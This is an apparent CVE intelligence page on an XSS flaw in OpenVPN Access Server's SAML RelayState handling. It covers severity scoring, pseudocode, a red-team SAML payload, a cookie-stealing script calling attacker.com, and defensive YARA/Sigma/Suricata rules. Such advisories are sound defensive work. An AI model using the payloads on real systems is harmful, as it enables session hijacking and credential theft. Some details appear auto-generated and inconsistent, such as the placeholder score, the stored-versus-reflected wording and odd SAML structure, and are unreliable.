☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Openvpn logo [ WEBSITE ] [ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-50055

CVE-2025-50055 Cross-Site Scripting in Openvpn
📅 PUBLISHED: 2025-10-27 13:39 UTC 🔄 UPDATED: 2026-10-08 23:10 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.04%
👁️
0.04% probability
<1× above the median CVE
Tier: LOW
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: USA License: Open Source
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: N Availability None
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-50055 is a Cross-Site Scripting (XSS) vulnerability in the SAML Authentication module of OpenVPN Access Server versions 2.14.0 through 2.14.3. The flaw allows a configured remote SAML Assertion Consumer Service (ACS) endpoint server to inject arbitrary web script or HTML via the RelayState parameter. This is a stored XSS scenario where the malicious payload is delivered through the SAML assertion flow, potentially compromising administrative sessions or user interactions within the Access Server web interface. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as medium severity due to the requirement for a malicious ACS endpoint and user interaction.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct product vulnerability in OpenVPN Access Server. No supply chain compromise is indicated.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) - The attack is conducted over the network via SAML assertions.
  • Attack Complexity (AC): Low (L) - No special conditions required beyond a malicious ACS endpoint.
  • Privileges Required (PR): None (N) - The attacker does not need prior authentication.
  • User Interaction (UI): Required (R) - The victim must interact with the crafted SAML response (e.g., click a link or view a page).
  • Scope: Changed (C) - The vulnerability can impact resources beyond the original security scope.
  • Confidentiality Impact: Low (L) - Limited data exposure possible.
  • Integrity Impact: Low (L) - Limited ability to modify data.
  • Availability Impact: None (N) - No denial of service.

Threat Level: Medium. Exploitation requires a malicious ACS endpoint and user interaction, but the impact includes session hijacking, defacement, or credential theft.

Deep Dive & Mechanics

The vulnerability resides in the SAML Authentication module's handling of the RelayState parameter during the SAML assertion flow. When a user authenticates via SAML, the ACS endpoint sends a response containing a RelayState parameter, which is intended to preserve state information (e.g., the original URL the user requested). OpenVPN Access Server versions 2.14.0 through 2.14.3 fail to properly sanitize or encode this parameter before reflecting it in the web interface.

Attack Flow:

  1. An attacker controls or compromises a SAML ACS endpoint that is configured in the OpenVPN Access Server.
  2. The attacker crafts a SAML response with a malicious RelayState parameter containing JavaScript (e.g., <script>alert('XSS')</script>).
  3. When a user authenticates via this malicious ACS endpoint, the Access Server processes the SAML response and reflects the RelayState value in the web interface without proper encoding.
  4. The victim's browser executes the injected script, leading to XSS.

Root Cause: Lack of output encoding or sanitization for the RelayState parameter in the SAML authentication handler.

Vulnerable vs. Patched Code

Vulnerable Code (OpenVPN Access Server 2.14.0 - 2.14.3):

# Example vulnerable handler (pseudocode)
def handle_saml_response(saml_response):
    relay_state = saml_response.get('RelayState')
    # Directly reflects without encoding
    return f"<html><body>Processing SAML response for {relay_state}</body></html>"

Patched Code (Hypothetical fix):

# Example patched handler (pseudocode)
import html
def handle_saml_response(saml_response):
    relay_state = saml_response.get('RelayState')
    # Properly encode the value
    safe_relay_state = html.escape(relay_state)
    return f"<html><body>Processing SAML response for {safe_relay_state}</body></html>"

The fix involves applying HTML entity encoding to the RelayState parameter before rendering it in the response.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • A configured SAML ACS endpoint under attacker control.
  • A victim user who authenticates via the malicious ACS endpoint.

Exploitation Steps:

  1. Set up a malicious SAML ACS endpoint that returns a crafted SAML response.
  2. In the SAML response, set the RelayState parameter to a malicious payload, e.g.:
    <samlp:Response>
      <samlp:Status>
        <samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
      </samlp:Status>
      <saml:Assertion>
        <!-- Other SAML elements -->
      </saml:Assertion>
      <samlp:Extensions>
        <samlp:RelayState><script>alert('XSS')</script></samlp:RelayState>
      </samlp:Extensions>
    </samlp:Response>
    
  3. Lure the victim to authenticate via this ACS endpoint (e.g., by sending a phishing link).
  4. The victim's browser executes the injected script.

Example Payload:

<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team (Detection & Defense)

Detection:

  • Monitor SAML responses for unusual RelayState values containing HTML or JavaScript.
  • Use web application firewalls (WAF) to inspect SAML parameters for XSS patterns.
  • Enable logging of SAML authentication flows and review for anomalies.

Defense:

  • Apply input validation and output encoding for all SAML parameters.
  • Restrict SAML ACS endpoints to trusted, verified providers.
  • Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • SAML responses with RelayState containing <script>, onerror=, or other HTML/JavaScript.
    • Unusual ACS endpoint URLs (e.g., IP addresses, non-standard domains).
  • Host IOCs:
    • Log entries showing SAML authentication failures with malformed RelayState.
    • Web server logs with XSS payloads in the RelayState parameter.
  • File IOCs:
    • Modified SAML configuration files pointing to untrusted ACS endpoints.

Detection Engineering

YARA Rule

rule CVE_2025_50055_SAML_XSS {
    meta:
        description = "Detects SAML RelayState XSS payloads in OpenVPN Access Server"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-50055"
    strings:
        $saml_relay = /RelayState[^>]*>[^<]*<script/i
        $xss_payload = /<script[^>]*>.*<\/script>/i
    condition:
        $saml_relay and $xss_payload
}

Sigma Rule

title: CVE-2025-50055 SAML XSS Detection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects XSS attempts via SAML RelayState parameter in OpenVPN Access Server
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: openvpn
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'RelayState'
        cs-uri-query|re: '(<script|<img|<svg|onerror|onload)'
    condition: selection
falsepositives:
    - Legitimate SAML responses with encoded state
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-50055 SAML XSS Attempt"; flow:to_server,established; content:"RelayState"; http_client_body; pcre:"/(<script|<img|<svg|onerror|onload)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade OpenVPN Access Server to a patched version (once available). Currently, no patch is released.
  2. Disable SAML authentication if not required, or restrict to trusted ACS endpoints only.
  3. Implement a Web Application Firewall (WAF) rule to block XSS payloads in SAML parameters.

Long-Term Mitigations:

  • Apply input validation and output encoding for all SAML parameters.
  • Regularly review and update SAML configurations.
  • Monitor for CVEs and apply patches promptly.

Workarounds:

  • Use a reverse proxy to sanitize SAML responses before they reach the Access Server.
  • Enforce Content Security Policy (CSP) headers to prevent script execution.

Valters IT

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

OpenVPN Access Server
OpenVPN-AS

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-50055/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.